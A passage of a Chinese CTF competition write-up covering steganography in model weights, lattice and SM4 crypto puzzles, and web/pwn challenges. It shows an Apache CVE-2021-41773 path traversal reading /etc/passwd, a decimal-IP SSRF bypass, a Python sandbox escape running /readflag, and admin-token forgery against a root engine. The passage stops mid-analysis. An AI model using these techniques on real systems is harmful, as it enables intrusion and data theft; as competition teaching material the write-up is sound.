文章总结: 本文是2026数字中国创新大赛数字安全赛道CTF比赛的详细题解,涵盖4道Misc题目的完整解题过程:Stream-Capture通过UDP流重组提取H.264视频获取flag,Model-Entropy利用模型权重LSB隐写与已知明文攻击解密,DataVault_V3组合Apache路径穿越、SSRF绕过与CTR密钥流重用攻击完成解密,safepy实现Python沙箱逃逸。文章展示了流量分析、AI安全、Web漏洞利用、密码学攻击等多种技术的综合应用,提供完整攻击脚本与详细思路。 综合评分: 88 文章分类: CTF,WEB安全,AI安全,漏洞分析,逆向分析
在解码后视频的约第300帧左上角可见明文:
Model-Entropy
题目内容:
这是一个看似常规的开源情感分析模型,其核心逻辑与加载过程均能通过初步的安全性审查。然而,审计人员在评估其权重分布时发现,本应承载海量语义特征的Embedding层在参数规模上存在显著的异常缩减。请针对该模型文件剖析其内部存在的隐蔽信息。
题目目录如下:
- sentiment_analysis.ipynb
- sentiment_model.npz
本题的关键不是去跑模型做分类,而是去判断模型是否真的是一个正常可用的模型
排查顺序如下:
- 确认权重格式
- 阅读 notebook,核对模型结构和加载逻辑
- 直接检查npz内部数组名、形状、数值范围
- 验证模型是否真的具备 notebook 中描述的效果
- 对异常层的底层二进制表示做隐写提取
- 还原密文并继续解码,得到最终flag
打开sentiment_analysis.ipynb后,可以看到模型并不是真正的 NLP Embedding 模型,而是一个非常简单的两层 MLP:
def forward(X, p): h = relu(X @ p['embedding_layer'] + p['hidden_bias']) return softmax(h @ p['output_layer'] + p['output_bias'])
模型结构是:
Input(18) -> Dense(20, ReLU) -> Dense(2, Softmax)
也就是说,所谓的embedding_layer其实只是一个18×20的全连接权重矩阵,并不是真正意义上的词向量 Embedding
直接读取模型参数:
import numpy as npwith np.load("sentiment_model.npz") as data: for k in data.files: arr = data[k] print(k, arr.shape, arr.dtype)
输出为:
embedding_layer (18, 20) float32hidden_bias (20,) float32output_layer (20, 2) float32output_bias (2,) float32
这里最异常的地方是:
embedding_layer只有18 x 20 = 360个float32
对于题目描述中的“应承载海量语义特征的 Embedding 层”来说,这个规模小得不正常
这说明:模型描述存在伪装或者这一层很可能被拿来充当隐写载体
题目 notebook 声称模型在合成数据上能达到约92%准确率,但按原 notebook 的逻辑重新跑一遍后,实际准确率只有0.49125
换句话说,sentiment_model.npz的主要用途不是推理,而是藏信息
因为 npz 容器本身结构正常,没有额外文件、注释、尾部垃圾数据,所以隐藏信息大概率埋在浮点参数本身的二进制位里。
对于 float32,最自然的隐写方式就是:
- 取最低有效位 LSB
- 取若干低位拼接成字节流
而embedding_layer 一共有360个float32,如果每个数取1个最低位,那么总共就是:360 bit = 45 byte
提取脚本如下:
import numpy as nparr = np.load("sentiment_model.npz")["embedding_layer"]u = arr.view(np.uint32).ravel()bits = [(x & 1) for x in u]ct = bytes( sum(bits[i + j] << j for j in range(8)) for i in range(0, len(bits) // 8 * 8, 8))print(ct)print(ct.rstrip(b"\x00"))
得到的 45 字节内容去掉结尾零填充后为:
!$.4/~*-faqv~7&q{~`uyx~mtq|~a!)fav{7b"5
由于flag以”flag{“开头,可以利用已知明文攻击
ct = b'!$.4/~*-fa\x7fqv~7&q{~`uyx~mtq|~a!\x7f)fav\x7f{7b\"5'pt = b'flag{'key = bytes([ct[i] ^ pt[i] for i in range(len(pt))])print(key)
得到密钥:GHOST
可以看出这是一个长度为5的循环异或密钥
完整解密脚本如下:
import numpy as nparr = np.load("sentiment_model.npz")["embedding_layer"]u = arr.view(np.uint32).ravel()bits = [(x & 1) for x in u]ct = bytes( sum(bits[i + j] << j for j in range(8)) for i in range(0, len(bits) // 8 * 8, 8)).rstrip(b"\x00")key = b"GHOST"pt = bytes(c ^ key[i % len(key)] for i, c in enumerate(ct))print("cipher =", ct)print("key =", key)print("plain =", pt.decode())
输出:
cipher = b'!$.4/~*-fa\x7fqv~7&q{~`uyx~mtq|~a!\x7f)fav\x7f{7b"5'key = b'GHOST'plain = flag{XXXXXXXXXXXXXXXXXXXXX}
DataVault_V3
题目内容:
欢迎来到 DataVault V3 —— 采用高级信封加密的下一代企业云端数据保险箱。我们吸取了历史教训,在最新的V3企业版中引入了Apache网关反向代理,并升级了基于Python的高级URL白名单过滤机制。旧版本系统已被标记为‘安全销毁’。然而,传闻中那把本该随数据一同消亡的‘幽灵密钥’,似乎仍潜伏在底层内网的某个角落。你能穿透重重防御,让幽灵密钥现身,并取回被封印的数据吗?
本题的攻击链由四个核心环节组成,涉及 Web 漏洞利用与密码学攻击的结合:
- Apache 路径穿越 (CVE-2021-41773):利用配置不当的 Apache 代理读取系统文件与配置文件
- 隐藏接口发现:通过信息收集获取包含加密数据的快照
- SSRF绕过与内网探测:利用十进制 IP 绕过 Python URL 白名单,访问内网 KMS 服务
- 密码学攻击 (CTR密钥流重用):利用KMS固定的 CTR 密钥流,通过选择明文攻击(全零DEK)获取Keystream,进而异或恢复原始密钥并解密 AES-GCM 数据。
路径穿越与信息收集
访问目标服务 http://xx.xx.xx.xx:1234/,页面提示使用了 Apache 防火墙和 Python 过滤机制。由于题目明确提到 Apache 网关,且版本可能存在已知漏洞,我们首先尝试 Apache 2.4.49 的经典路径穿越漏洞(CVE-2021-41773)
通过构造特殊的 URL 路径 /assets/.%2e/.%2e/.%2e/.%2e/,我们成功读取了 /etc/passwd 文件
随后,我们利用该漏洞读取了Apache的配置文件 /usr/local/apache2/conf/httpd.conf,发现了关键的反向代理配置:
Alias /assets/ "/usr/local/apache2/htdocs/"ProxyPass /assets/ !ProxyPass / http://127.0.0.1:8080/
这表明所有非/assets/的请求都被代理到了本地的8080端口,即后端的 Python 应用。
获取加密快照
在对后端 Python 应用的路由进行探测时,我们发现了一个隐藏的 API 接口/api/v1/backup/snapshot。访问该接口,我们获取到了被封印的数据快照:
curl -s http://xx.xx.xx.xx:1234/api/v1/backup/snapshot
返回的 JSON 数据如下:
| | | | | — | — | — | | 字段 | 值 | 说明 | | enc_data | 7e172f82011d7f238e544f16d160fccbdc4c2f39026cac98c1ea38337d2bbbbfd99b14e1fbcc0f7e97b7 | AES-GCM 加密后的数据 | | enc_dek | a41b57d6ca0ee2f72e2ce59cc7226f42558a0d7eec2b7ef9c9da9a83c506a5e5 | 被 KMS 加密的 DEK (Data Encryption Key) | | nonce | 8c3afb9382a576c5745b19d16b3e94e1 | AES-GCM 使用的 Nonce | | tag | d80814d3d69d9e7b0f4d9747fcf8004f | AES-GCM 的认证标签 | | kms_backend_log | DEK encrypted via internal legacy API: /api/v1/import_dek | 提示了内网 KMS 的加密接口 |
SSRF绕过获取Keystream
根据快照中的日志提示,内网存在一个 KMS 服务,接口为 /api/v1/import_dek。同时,主应用存在一个 /health_check?url= 接口,但该接口配置了“高级 URL 白名单过滤机制”,直接传入 127.0.0.1 会被拦截。
为了绕过基于字符串的 IP 过滤,我们采用十进制 IP 转换技巧。将 127.0.0.1 转换为十进制格式 2130706433。
KMS 服务的加密逻辑存在严重缺陷:它使用了固定的 CTR 密钥流 (Keystream)。在流密码中,密文等于明文异或密钥流(C=P⊕K)。如果我们控制明文为全零(P=0),那么密文就直接等于密钥流(C=0⊕K=K)。
因此,我们构造 SSRF 请求,向内网 KMS 传入 32 字节(64 个十六进制字符)的全零DEK:
curl "http://xx.xx.xx.xx:1234/health_check?url=http://2130706433:5000/api/v1/import_dek?dek=0000000000000000000000000000000000000000000000000000000000000000"
服务器返回了嵌套的 JSON 响应,从中提取出纯 Keystream:
bdf4b7e517efb9999eb67365558ebc1c74743dee3dbec99901153af744c0c00b
恢复幽灵密钥与解密数据
掌握了固定的 Keystream 后,我们可以利用异或运算的自反性恢复原始的 DEK(幽灵密钥):
old_dek=enc_dek⊕Keystream
计算过程:
enc_dek = a41b57d6ca0ee2f72e2ce59cc7226f42558a0d7eec2b7ef9c9da9a83c506a5e5Keystream = bdf4b7e517efb9999eb67365558ebc1c74743dee3dbec99901153af744c0c00b------------------------------------------------------------------------old_dek = 19efe033dde15b6eb09a96f992acd35e21fe3090d195b760c8cfa07481c665ee
最后,使用恢复出的 old_dek 作为密钥,结合快照中的 nonce 和 tag,对 enc_data 执行 AES-GCM 解密。
编写 Python 脚本完成最终解密:
from Crypto.Cipher import AES
old_dek = bytes.fromhex("19efe033dde15b6eb09a96f992acd35e21fe3090d195b760c8cfa07481c665ee")nonce = bytes.fromhex("8c3afb9382a576c5745b19d16b3e94e1")tag = bytes.fromhex("d80814d3d69d9e7b0f4d9747fcf8004f")enc_data = bytes.fromhex("7e172f82011d7f238e544f16d160fccbdc4c2f39026cac98c1ea38337d2bbbbfd99b14e1fbcc0f7e97b7")
cipher = AES.new(old_dek, AES.MODE_GCM, nonce=nonce)plaintext = cipher.decrypt_and_verify(enc_data, tag)print(plaintext.decode())
safepy
题目内容:
This is PY-LeetCode!
这题核心是一个只能看布尔结果的沙箱逃逸题,利用流程分四段:
- 编译期伪装,绕过静态黑名单
- 运行期把伪装字段还原成双下划线元类链
- 拿到可load_module的类后导入os,执行/readflag
- 不直接回显,用Success/Failure做布尔预言机,二分恢复完整flag
黑名单在源码字符串阶段生效
直接写 __class__、__subclasses__、import os 等会被拦,通常是 Exception,但把危险属性名先写成占位符(如TAGclassTAG)可以过编译
运行期可操作协程代码对象
这题允许访问:
- co_obj.cr_frame.f_code.co_names
- code.replace(…)
所以可以在运行时把 co_names 里的 TAG 替换成 __,恢复真实属性访问链:
().__class__.__base__.__subclasses__()
用异常参数把结果带出来
执行恢复后的协程时,会通过异常路径拿到subclasses()结果(类列表),再遍历寻找支持load_module的类,动态导入os
布尔侧信道提取flag
拿到txt = os.popen(‘/readflag|tr -d “\n”‘).read()后,不直接返回文本,而是把条件表达式塞进判题返回:
- 条件为真:返回一个能判 Success 的表达式
- 条件为假:返回一个能判 Failure 的表达式
然后对len(txt)、ord(txt[i])做二分即可盲注恢复
核心利用脚本
def isPalindrome(x): u="_" us=u+u async def probe(): return ().TAGclassTAG.TAGbaseTAG.TAGsubclassesTAG() co_obj=probe() names=[] for item in co_obj.cr_frame.f_code.co_names: names.append(item.replace("TAG", us)) mutated=co_obj.cr_frame.f_code.replace(co_names=tuple(names)) g=function(mutated,{})() found=[] try: g.send(None) except Exception as ex: if len(ex.args): found=ex.args[0] mod=None for cls in found: try: mod=cls.load_module("os") break except Exception: pass if mod is None: bit=False else: txt=mod.popen('/readflag|tr -d "\\n"').read() bit=({COND}) if bit: return x==x[::-1] return x!=x[::-1]
Lost-Signal
题目内容:
监听站拦截到一段来自深空的损毁电波signal.txt。据调查,该信号由早期AI探针发出,其内部逻辑完全基于glove-twitter-25词向量矩阵 。信号中隐藏了一组语义偏移指令,只有通过向量空间运算还原出缺失的关键节点,才能拼凑出解开archive.zip的密钥。
题目核心在signal.txt。文件表面上是故障日志,实际混入了多组语义类比关系,提示需要用词向量做 analogy 运算。
日志中的关键关系如下:
- man is to king, ? is to queen
- paris is to france, ? is to italy
- bad is to worst, ? is to best
- small is to tiny, ? is to massive
- cat is to kitten, ? is to puppy
- winter is to cold, ? is to hot
其中还出现了二进制:
01001011 01100101 01111001
转成 ASCII 后为Key,进一步说明最终目标是还原压缩包密钥。
处理过程
- 下载并加载GloVe-twitter-25词向量
- 编写脚本,对signal.txt中的类比关系做向量运算
- 修正脚本逻辑后,按标准analogy公式:D = B – A + C
也就是
king - man + queenfrance - paris + italyworst - bad + besttiny - small + massivekitten - cat + puppycold - winter + hot
将每组结果按顺序拼接,作为压缩包候选密码,得到:
- sobrazilcooldealdogfashion
- hunterswedenawesomehugecorgifat
使用第一组密码成功解压压缩包,txt文件的内容为最终flag
Coordinates
题目内容:
实验室捕获了一个异常的ResNet50模型权重文件。据可靠情报,敌方特工将机密信息藏在了这些看似随机的神经元参数中。
我们的数据分析师在初步扫描后,在茫茫的浮点数海洋里发现了一个出现频率异常的“常数”。或许,这个常数就是解开坐标系统的钥匙?
这题不是常规模型推理题,而是参数隐写题,核心路线:
- 解析 .pth 文件结构,找到真实浮点存储区
- 做全局浮点频次统计,定位异常高频常数
- 将该常数出现位置当作离散坐标点
- 按固定步长建立二进制位图(命中=1,未命中=0)
- 调整bit offset 后按字节解码,得到flag
文件结构确认
secret.pth 是 PyTorch 的 zip 序列化格式,不是纯 pickle
可通过 zipfile 查看内部条目:
- secret/data.pkl
- secret/data/0
- secret/version
- secret/byteorder
其中:
- secret/data/0:大块连续权重数据(float32)
- secret/data.pkl:张量元数据(形状、偏移等)
定位异常常数
对data/0按float32 little-endian读取,并统计出现次数,结果显示:
- 0.5201314091682434 出现 145 次
- 其他高频值通常只有10~12次
因此把 0.5201314091682434 作为隐写 marker。
观察marker坐标规律
取出所有 marker 的全局索引(在浮点数组中的位置),发现:
- 命中总数 145
- 其中 143 个索引是 100 的整数倍
- 且集中在 600 ~ 30800
这非常像在一条离散坐标轴上放置比特位:
- 某坐标有 marker -> 1
- 无 marker -> 0
位流还原
按 n*100(n=0..308)扫描,构建比特串:
- 若n*100在命中集合中:bit=1
- 否则:bit=0
随后进行字节对齐爆破,命中参数为:
- offset = 5
- bit order = MSB
解码后直接得到flag:
flag{XXXXXXXXXXXXXXXXXX}
Crypto
LCG-LHNP
题目内容:
小明在学习密码学的时候发现LCG随机数发生算法的生成公式和LHNP问题很像…他尝试用sage来模拟一下这两个东西
题目给了一个 enc.sage,核心逻辑如下:
- 用seed = bytes_to_long(b”Seed” + os.urandom(32))初始化 random.Random(seed)
- 用这个生成器生成一个1024-bit素数p,以及后续30个1024-bit素数 r_i
- 取未知1024-bit素数 x(且x<p),并构造c_i = (r_i * x + e_i) mod p,其中e_i是随机888-bit素数
- 额外把seed丢进一个LCG,泄露了连续10个状态seeds
- 输出cs、seeds、enc = flag ^^ x
目标是恢复 x,进而flag = enc ^^ x
由 seeds 反推 LCG 参数和初始 seed
题目里的 LCG 形式:
s_{i+1} = (a * s_i + b) mod n
已知连续输出 s_1 … s_10(脚本里叫 seeds),可用经典做法恢复 n:
- 令d_i = s_{i+1} – s_i
- 构造u_i = d_{i+2} * d_i – d_{i+1}^2
- 则n会整除所有u_i,通常 gcd(u_i) 就是n(或其倍数,本题直接命中)
得到 n 后:
a = (s3 - s2) * (s2 - s1)^(-1) mod nb = s2 - a*s1 mod nseed0 = (s1 - b) * a^(-1) mod n
这里的 seed0 就是最开始传给 random.Random(seed) 的那个 seed
重放 Python PRNG,恢复 p 与全部 r_i
因为 random.Random 是确定性的,只要 seed 一样,调用序列一样,输出就完全一样
题目先后调用了:
- p = get_prime(1024, genertor=genertor)
- 在构造 cs 时循环 30 次,每次先 r = get_prime(1024, genertor=genertor)
所以拿到 seed0后,按同样的get_prime逻辑重放,就能拿到真实的p和30个 r_i
至此,c_i = (r_i*x + e_i) mod p 里只剩 x 和 e_i 未知
把 LHNP 转成 CVP(最近向量)并格攻击
我们有:
c_i = r_i * x + e_i - k_i * p
其中 k_i 是某个整数,且 e_i 是 888-bit 素数,所以:
2^887 <= e_i < 2^888
把式子改写成向量形式:
c = x * r - p * k + e
- c = (c_1, …, c_m)
- r = (r_1, …, r_m)
- k = (k_1, …, k_m)
- e是每维都很小(相对 p)的误差向量,约 888 bit
- m = 30
于是 c 到由列向量 {r, -p*e_1, …, -p*e_m} 生成的格点集合的距离很小(差值就是 e)
注意:
-
构造M(30 x 31):
-
第一列是 r
-
后30列是对角线上 -p 的基向量列
-
对M做HNF,得到同格的方阵基H(30 x 30)。
-
转为行基后做LLL降维。
-
用Babai nearest plane找目标向量c的最近格点 v。
-
利用同余v_i ≡ r_i*x (mod p) 求候选x并校验e_i范围。
-
对Babai系数做一个很小范围本地扰动(±1),可修正近似误差。
本题在这一步可稳定恢复 x。
完整脚本
import reimport astimport mathimport randomfrom collections import Counterfrom functools import reducefrom pathlib import Path
from Crypto.Util.number import isPrime, long_to_bytesfrom sympy import Matrixfrom sympy.matrices.normalforms import hermite_normal_formfrom mpmath import mp
mp.dps = 260
def get_prime(key_size, gen=None): lo = 1 << (key_size - 1) hi = 1 << key_size while True: num = gen.randrange(lo, hi) if gen is not None else random.randrange(lo, hi) if isPrime(num): return num
def babai_closest_vector_row(B_rows, t): n = len(B_rows) m = len(B_rows[0]) B = [[mp.mpf(x) for x in row] for row in B_rows]
bstar = [[mp.mpf("0")] * m for _ in range(n)] norm = [mp.mpf("0")] * n
for i in range(n): v = B[i][:] for j in range(i): if norm[j] == 0: continue mu = sum(B[i][k] * bstar[j][k] for k in range(m)) / norm[j] if mu: for k in range(m): v[k] -= mu * bstar[j][k] bstar[i] = v norm[i] = sum(v[k] * v[k] for k in range(m))
y = [mp.mpf(x) for x in t] coeff = [0] * n for i in range(n - 1, -1, -1): if norm[i] == 0: c = mp.mpf("0") else: c = sum(y[k] * bstar[i][k] for k in range(m)) / norm[i] kint = int(mp.nint(c)) coeff[i] = kint for j in range(m): y[j] -= kint * B[i][j]
v = [int(mp.nint(mp.mpf(t[j]) - y[j])) for j in range(m)] return coeff, v
def parse_challenge(): text = Path("enc.sage").read_text(encoding="utf-8") block = re.findall(r"'''(.*?)'''", text, re.S)[0] cs = ast.literal_eval(re.search(r"cs =\\s*(\\[.*?\\])\\s*seeds =", block, re.S).group(1)) seeds = ast.literal_eval(re.search(r"seeds =\\s*(\\[.*?\\])\\s*enc =", block, re.S).group(1)) enc = int(re.search(r"enc =\\s*(\\d+)", block).group(1)) return cs, seeds, enc
def recover_lcg_seed(seeds): d = [seeds[i + 1] - seeds[i] for i in range(len(seeds) - 1)] vals = [abs(d[i + 2] * d[i] - d[i + 1] * d[i + 1]) for i in range(len(d) - 2)] n = reduce(math.gcd, vals)
a = ((seeds[2] - seeds[1]) * pow((seeds[1] - seeds[0]) % n, -1, n)) % n b = (seeds[1] - a * seeds[0]) % n seed0 = ((seeds[0] - b) * pow(a, -1, n)) % n
assert all((a * seeds[i] + b) % n == seeds[i + 1] for i in range(len(seeds) - 1)) return n, a, b, seed0
def recover_p_rs(seed0, m): rng = random.Random(seed0) p = get_prime(1024, gen=rng) rs = [get_prime(1024, gen=rng) for _ in range(m)] return p, rs
def solve_hnp(cs, p, rs): m = len(cs) L = 1 << 887 U = 1 << 888
cols = [rs] for i in range(m): col = [0] * m col[i] = -p cols.append(col) M = Matrix.hstack(*[Matrix(c) for c in cols])
H = hermite_normal_form(M) R = H.T Rred = R.lll()
coeff, v = babai_closest_vector_row([list(map(int, row)) for row in Rred.tolist()], cs)
def check_x(x): es = [(cs[i] - (rs[i] * x) % p) % p for i in range(m)] ok = all(L <= e < U for e in es) return ok, es
candidates = [(v[i] * pow(rs[i], -1, p)) % p for i in range(m)] x, _ = Counter(candidates).most_common(1)[0] ok, es = check_x(x) if ok: return x, es
basis_rows = [list(map(int, row)) for row in Rred.tolist()] import itertools
idx = list(range(max(0, m - 8), m)) for deltas in itertools.product([-1, 0, 1], repeat=len(idx)): cc = coeff[:] for j, dv in zip(idx, deltas): cc[j] += dv vv = [0] * m for ci, row in zip(cc, basis_rows): if ci == 0: continue for k in range(m): vv[k] += ci * row[k] x_try = (vv[0] * pow(rs[0], -1, p)) % p ok2, es2 = check_x(x_try) if ok2: return x_try, es2
raise ValueError("failed to recover x")
def main(): cs, seeds, enc = parse_challenge() _, _, _, seed0 = recover_lcg_seed(seeds) p, rs = recover_p_rs(seed0, len(cs)) x, _ = solve_hnp(cs, p, rs) flag = long_to_bytes(enc ^ x) print(flag.decode())
if __name__ == "__main__": main()
Reverse
ezSM4
题目内容:
小明拿到了一个小程序,看起来真的很像SM4,但是他上网上找脚本发现解不开,你能帮他看看吗?
解题思路:
1.先看字符
直接查看程序字符串,可以很快看到几个关键字:
- Wrong length.
- Wrong Answer.
- Correct.
- format: flag{xxx}, xxx is your input.
- 12345678abcdefgh
- RTTI里还能看到 SM4 相关类名
这基本说明:
-
程序会读取一段输入
-
用SM4做校验
-
12345678abcdefgh 很可能是密钥
-
最终flag格式是flag{xxx}
-
定位主逻辑
主逻辑附近可以还原出如下关键流程:
-
读取用户输入
-
如果长度条件不满足,输出 Wrong length.
-
构造两个数据块
-
用户输入
-
固定密钥 12345678abcdefgh
-
调用 SM4 相关对象处理数据
-
将结果与一段 16 字节常量比较
-
相等则输出Correct.,否则输出Wrong Answer.
关键比较常量在反汇编里表现为:
4A 5E 46 35 96 08 E9 30 DA 28 CA A0 22 A6 59 4D
也就是目标密文:
4a5e46359608e930da28caa022a6594d
- 判断算法细节
程序里确实实现了完整的 SM4:
-
FK
-
a3b1bac6 56aa3350 677d9197 b27022dc
-
CK
-
00070e15 … 646b7279
-
Sbox
-
标准 SM4 Sbox
但这里有个坑:
- 程序把输入和key先按4字节分组
- 再按小端当作uint32_t参与轮函数
所以如果直接拿标准按大端读块的SM4去解,会得到乱码
正确做法是模拟程序本身的实现:
-
明文/密钥都按 4 字节一组
-
每组用 little-endian 读成 uint32
-
轮函数仍按 shr 24 / 16 / 8 / 0 取字节
-
解密时使用逆序轮密钥
-
输出再按 little-endian 拼回字节
-
解密目标密文
已知:
- Key: 12345678abcdefgh
- Cipher: 4a5e46359608e930da28caa022a6594d
按题目程序的小端版 SM4解密后可得:
SENSOREDS4Little
把它喂给程序验证,程序输出:Correct
拼接即可得到最终flag
5.复现脚本
SBOX = [ 0xd6,0x90,0xe9,0xfe,0xcc,0xe1,0x3d,0xb7,0x16,0xb6,0x14,0xc2,0x28,0xfb,0x2c,0x05, 0x2b,0x67,0x9a,0x76,0x2a,0xbe,0x04,0xc3,0xaa,0x44,0x13,0x26,0x49,0x86,0x06,0x99, 0x9c,0x42,0x50,0xf4,0x91,0xef,0x98,0x7a,0x33,0x54,0x0b,0x43,0xed,0xcf,0xac,0x62, 0xe4,0xb3,0x1c,0xa9,0xc9,0x08,0xe8,0x95,0x80,0xdf,0x94,0xfa,0x75,0x8f,0x3f,0xa6, 0x47,0x07,0xa7,0xfc,0xf3,0x73,0x17,0xba,0x83,0x59,0x3c,0x19,0xe6,0x85,0x4f,0xa8, 0x68,0x6b,0x81,0xb2,0x71,0x64,0xda,0x8b,0xf8,0xeb,0x0f,0x4b,0x70,0x56,0x9d,0x35, 0x1e,0x24,0x0e,0x5e,0x63,0x58,0xd1,0xa2,0x25,0x22,0x7c,0x3b,0x01,0x21,0x78,0x87, 0xd4,0x00,0x46,0x57,0x9f,0xd3,0x27,0x52,0x4c,0x36,0x02,0xe7,0xa0,0xc4,0xc8,0x9e, 0xea,0xbf,0x8a,0xd2,0x40,0xc7,0x38,0xb5,0xa3,0xf7,0xf2,0xce,0xf9,0x61,0x15,0xa1, 0xe0,0xae,0x5d,0xa4,0x9b,0x34,0x1a,0x55,0xad,0x93,0x32,0x30,0xf5,0x8c,0xb1,0xe3, 0x1d,0xf6,0xe2,0x2e,0x82,0x66,0xca,0x60,0xc0,0x29,0x23,0xab,0x0d,0x53,0x4e,0x6f, 0xd5,0xdb,0x37,0x45,0xde,0xfd,0x8e,0x2f,0x03,0xff,0x6a,0x72,0x6d,0x6c,0x5b,0x51, 0x8d,0x1b,0xaf,0x92,0xbb,0xdd,0xbc,0x7f,0x11,0xd9,0x5c,0x41,0x1f,0x10,0x5a,0xd8, 0x0a,0xc1,0x31,0x88,0xa5,0xcd,0x7b,0xbd,0x2d,0x74,0xd0,0x12,0xb8,0xe5,0xb4,0xb0, 0x89,0x69,0x97,0x4a,0x0c,0x96,0x77,0x7e,0x65,0xb9,0xf1,0x09,0xc5,0x6e,0xc6,0x84, 0x18,0xf0,0x7d,0xec,0x3a,0xdc,0x4d,0x20,0x79,0xee,0x5f,0x3e,0xd7,0xcb,0x39,0x48,]
FK = [0xa3b1bac6, 0x56aa3350, 0x677d9197, 0xb27022dc]CK = [ 0x00070e15,0x1c232a31,0x383f464d,0x545b6269,0x70777e85,0x8c939aa1,0xa8afb6bd,0xc4cbd2d9, 0xe0e7eef5,0xfc030a11,0x181f262d,0x343b4249,0x50575e65,0x6c737a81,0x888f969d,0xa4abb2b9, 0xc0c7ced5,0xdce3eaf1,0xf8ff060d,0x141b2229,0x30373e45,0x4c535a61,0x686f767d,0x848b9299, 0xa0a7aeb5,0xbcc3cad1,0xd8dfe6ed,0xf4fb0209,0x10171e25,0x2c333a41,0x484f565d,0x646b7279,]
def rol(x, n): return ((x << n) & 0xffffffff) | ((x & 0xffffffff) >> (32 - n))
def tau(a): out = 0 for shift in (24, 16, 8, 0): out = (out << 8) | SBOX[(a >> shift) & 0xff] return out
def T(x): b = tau(x) return b ^ rol(b, 2) ^ rol(b, 10) ^ rol(b, 18) ^ rol(b, 24)
def Tp(x): b = tau(x) return b ^ rol(b, 13) ^ rol(b, 23)
def key_schedule_le(key_bytes): MK = [int.from_bytes(key_bytes[i:i+4], "little") for i in range(0, 16, 4)] K = [MK[i] ^ FK[i] for i in range(4)] rk = [] for i in range(32): K.append((K[i] ^ Tp(K[i+1] ^ K[i+2] ^ K[i+3] ^ CK[i])) & 0xffffffff) rk.append(K[-1]) return rk
def crypt_le(block_bytes, rk): X = [int.from_bytes(block_bytes[i:i+4], "little") for i in range(0, 16, 4)] for i in range(32): X.append((X[i] ^ T(X[i+1] ^ X[i+2] ^ X[i+3] ^ rk[i])) & 0xffffffff) Y = [X[35], X[34], X[33], X[32]] return b"".join(y.to_bytes(4, "little") for y in Y)
key = b"12345678abcdefgh"cipher = bytes.fromhex("4a5e46359608e930da28caa022a6594d")
rk = key_schedule_le(key)plain = crypt_le(cipher, rk[::-1])print(plain.decode())
PWN
Neural-Inference
题目内容:
这是一个高度集成的 AI 对话引擎服务,其底层由自定义的执行环境与复杂的认证逻辑驱动。在面对该服务的多层防御架构时,请尝试对其逐步渗透并获取目标环境中隐藏的flag。
一、题目整体架构
先看目录结构:
bin/enginefrontend/app.pyplugins/validate.shscripts/gen_model.pyDockerfileinit.sh
是一个典型的Web前端+本地高权限后端引擎架构:
-
frontend/app.py 是 Flask Web 服务,对外暴露 HTTP API
-
Flask 不直接处理核心逻辑,而是把请求转发给 Unix Socket 后端 /opt/neuralchat/run/engine.sock
-
真正的核心逻辑都在 bin/engine 这个 ELF 里
-
init.sh 明确说明:
-
engine 以 root 身份启动
-
Flask 以前台低权限用户 neuralchat 运行
-
Dockerfile 中把 flag 放在 /home/ctf/flag,权限设成 000,说明预期就是要借助 engine 的 root 权限去读
关键文件中的明确信息:
-
init.sh
-
engine以root启动
-
注释里直接提到了flag access via VNM/system()
-
frontend/app.py
-
暴露 /api/status
-
暴露 /api/raw
-
Dockerfile
-
COPY flag.txt /home/ctf/flag
-
chmod 000 /home/ctf/flag
二、Web 层分析
- 前端只是协议转发器
frontend/app.py 的核心函数是:
def send_to_engine(command, payload=b''): sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) sock.connect(ENGINE_SOCKET)
total_len = 5 + len(payload) msg = struct.pack('<I', total_len) + bytes([command]) + payload sock.sendall(msg)
说明engine协议格式如下:
<total_len: u32 little-endian><command: u8><payload...>
返回包格式:
<resp_len: u32><status: u8><data...>
- 危险接口/api/raw
/api/raw 会把用户传入的 base64 数据直接还原成:
<command: u8><payload...>
然后原样发给 engine。
这意味着:
-
我们不需要受限于Flask里那些正常 API
-
可以直接调用engine的任意命令字,包括隐藏的管理命令0xFF
-
/api/status 信息泄露
/api/status 会返回:
{"model_loaded":1,"pid":8,"sessions":0,"status":"running","uptime":49,"version":"2.1.0"}
这里直接暴露了pid和uptime,而这两个值后面会直接参与管理认证密钥生成
三、ELF逆向结论
对 bin/engine 做静态分析后,可以恢复出以下关键函数:
- derive_admin_key
- verify_admin_token
- handle_admin
- execute_vnm
- load_ncml_model
同时字符串表里能看到:
Admin key derivedAdmin command authenticated: sub_cmd=0x%02xAdmin running diagnostics via VNMExecuting diagnostic script: %s/opt/neuralchat/plugins/diag.sh
这几个字符串已经非常明显地指向一条利用链:
- 先过admin鉴权
- 进入admin子命令
- 触发VNM
- 最终触发system()
四、管理认证逻辑
- admin 包格式
handle_admin 接收的 payload 格式为:
<timestamp: u32><subcmd: u8><token: 32 bytes><body...>
整个 payload 再配合命令字 0xFF,通过 /api/raw 发给后端
也就是原始发包内容:
0xFF || <timestamp> || <subcmd> || <token> || <body>
- token校验规则
verify_admin_token 的逻辑可以还原为:
检查 abs(now - timestamp) <= 60计算 SHA256(timestamp || subcmd || body || admin_key)与客户端提交的 32 字节 token 比较
所以只要时间戳在 60 秒窗口内且能推导出 admin_key,就可以伪造合法管理请求
- admin_key推导方式
derive_admin_key(pid, start_time, out) 的核心逻辑如下:
state = ((pid * 0x045D9F3B) ^ ((start_time & 0xffffffff) * 0x119DE1F3)) & 0xffffffff
for i in range(16): state ^= (state << 13) & 0xffffffff state ^= state >> 7 state ^= (state << 17) & 0xffffffff out[i] = AES_SBOX[state & 0xff] state = (state + ((i + 1) * 0x9E3779B9)) & 0xffffffff
也就是说,admin key 只依赖两个动态量:pid、start_time
其中:
- pid 可以从 /api/status 直接得到;
- start_time = 当前时间 – uptime
而uptime同样由/api/status直接泄露,所以这套“鉴权”本质上是可预测的
五、admin 子命令映射
逆向 handle_admin 后可以得到:
- subcmd = 0x01:返回管理信息
- subcmd = 0x02:重新加载模型
- subcmd = 0x03:更新 system prompt
- subcmd = 0x04:读取日志文件尾部
- subcmd = 0x05:执行 VNM,然后执行诊断脚本
其中最关键的是 subcmd = 0x05:
Admin running diagnostics via VNM...Executing diagnostic script: %ssystem(g_diag_path)
这说明:
- 先执行自定义虚拟机 execute_vnm
- 再调用 system() 执行某个路径字符串
六、VNM虚拟机分析
- 关键结论
execute_vnm 内部维护:
- 16 个 32 位寄存器
- 一个可读写的内存区,实际指向全局数据附近
最关键的写内存指令会向如下地址写入 4 字节:
0x9440 + 0x90 + signed_offset
而 .data 区里有一个全局字符串:
0x9450 -> "/opt/neuralchat/plugins/diag.sh"
这正是 admin 诊断流程最后拿去执行的脚本路径g_diag_path
- 覆盖g_diag_path
因为:
